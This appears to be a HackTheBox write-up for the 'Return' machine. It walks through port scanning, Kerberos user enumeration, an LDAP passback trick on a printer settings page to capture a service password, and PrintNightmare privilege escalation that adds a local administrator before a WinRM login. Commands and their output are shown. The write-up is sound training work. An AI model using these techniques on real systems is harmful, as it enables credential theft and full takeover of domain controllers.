Welcome back! Still honing some of my Windows hacking skills before next week’s CPTC competition, so today I’ve fired up a recently retired box on HackTheBox called Return. Let’s get into it!
Enumeration
Let’s get into it. Running autorecon on this target shows us that port 80 is listening, along with TCP/445 and a few other common Windows services.
Going to the host on port 80 shows that we have a PHP-based Web service, so likely WAMP or XAMPP stack.
Our autorecon scan is beginning to time out, so let’s instead try to use nmap manually, using the -p-
flag to scan all ports.
While letting this scan run, let’s check out the /settings.php page:
Some interesting settings get passed here, but let’s see if we can find out what script actually gets run with the
update
button.
<form action="" method="POST">
<table>
<tr>
<td>Server Address</td>
<td><input type="text" name="ip" value="printer.return.local"/></td>
</tr>
<tr>
<td>Server Port</td>
<td><input type="text" value="389"/></td>
</tr>
<tr>
<td>Username</td>
<td><input type="text" value="svc-printer"/></td>
</tr>
<tr>
<td>Password</td>
<td><input type="text" value="*******"/></td>
</tr>
<tr>
<td colspan="3"><input type="submit" value="Update"/></td>
</tr>
</table>
</form>
It looks like all the parameters just get passed to the same endpoint with a POST request.
Meanwhile, the rest of our nmap
scan has come back:
┌──(dhm㉿blood)-[~/htb/return]
└─$ nmap -p- 10.10.11.108
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-29 18:40 PST
Nmap scan report for return.htb (10.10.11.108)
Host is up (0.051s latency).
Not shown: 65509 closed tcp ports (conn-refused)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49679/tcp open unknown
49682/tcp open unknown
49694/tcp open unknown
Having ports open for Kerberos, DNS, and LDAP certainly suggests this server is running as a domain controller.
Turning back to our website, let’s see if the pre-filled information on this settings page is valid. We’ll run kerbrute
to see if the username svc-printer
is valid:
┌──(dhm㉿blood)-[~/htb/return]
└─$ kerbrute -user svc-printer -domain return.local -dc-ip 10.10.11.108 1 ⨯
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Valid user => svc-printer
[*] No passwords were discovered :'(
Excellent! Let’s see if we can get lucky and AS-REP roast this account.
┌──(dhm㉿blood)-[~/htb/return]
└─$ impacket-GetNPUsers return.htb/printer-svc -no-pass 130 ⨯
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for printer-svc
[-] Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use)
No dice.
Meanwhile, let’s also see if we get any useful info from rpcdump
┌──(dhm㉿blood)-[~/htb/return/scans]
└─$ grep MS-RPRN rpcdump.txt
Protocol: [MS-RPRN]: Print System Remote Protocol
This print service means that we can probably use PrintNightmare to get RCE on this box, though we may need credentials.
Let’s see if we can use this frontend to get credentials. The settings page seems to direct where this printer looks for LDAP lookups. If we set it to our own host, we may get some sensitive information.
First, we’ll change the target host to our own IP, then open up a listener for LDAP on netcat.
Great! Let’s test out this password with SMBClient:
Very nice!
Privilege Escalation
Using PrintNightmare
Let’s use the PrintNightmare PowerShell script invoke-nightmare.ps1
:
Evil-WinRM* PS C:\Users\svc-printer\appdata\local\temp> invoke-nightmare -newuser dhm -newpassword 'dhmrules1'
[+] created payload at C:\Users\svc-printer\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\mxdwdrv.dll"
[+] added user dhm as local administrator
[+] deleting payload from C:\Users\svc-printer\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\svc-printer\appdata\local\temp> net user dhm
net.exe : The user name could not be found.
+ CategoryInfo : NotSpecified: (The user name could not be found.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
More help is available by typing NET HELPMSG 2221.
It looks like it creates a user, but when we actually look up the user there is none to be found. Let’s try another username/password combo
Evil-WinRM* PS C:\Users\svc-printer\appdata\local\temp> invoke-nightmare -newuser 'admin2' -newpassword 'iamtheadminnow123!'
[+] created payload at C:\Users\svc-printer\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\mxdwdrv.dll"
[+] added user admin2 as local administrator
[+] deleting payload from C:\Users\svc-printer\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\svc-printer\appdata\local\temp> net user admin2
User name admin2
Full Name admin2
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 12/30/2021 11:09:45 AM
Password expires Never
Password changeable 12/31/2021 11:09:45 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *Domain Users
The command completed successfully.
Oh, great! Let’s make sure we can connect over EvilWinRM
┌──(dhm㉿blood)-[~/htb/return/exploit]
└─$ evil-winrm -i 10.10.11.108 -u admin2 -p 'iamtheadminnow123!' 1 ⨯
Evil-WinRM shell v3.1
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\admin2\Documents> whoami
return\admin2
Excellent! Sure enough, we have full admin permissions as this user:
*Evil-WinRM* PS C:\users\administrator\desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
From here we can go ahead and grab root.
Lessons learned
The least obvious part of this box (to me) was to just listen. This was my first time playing with an LDAP Passback attack, but I don’t expect it will be the last. I’ll keep this tactic in mind if I ever run into a setup page for another printer or IoT device.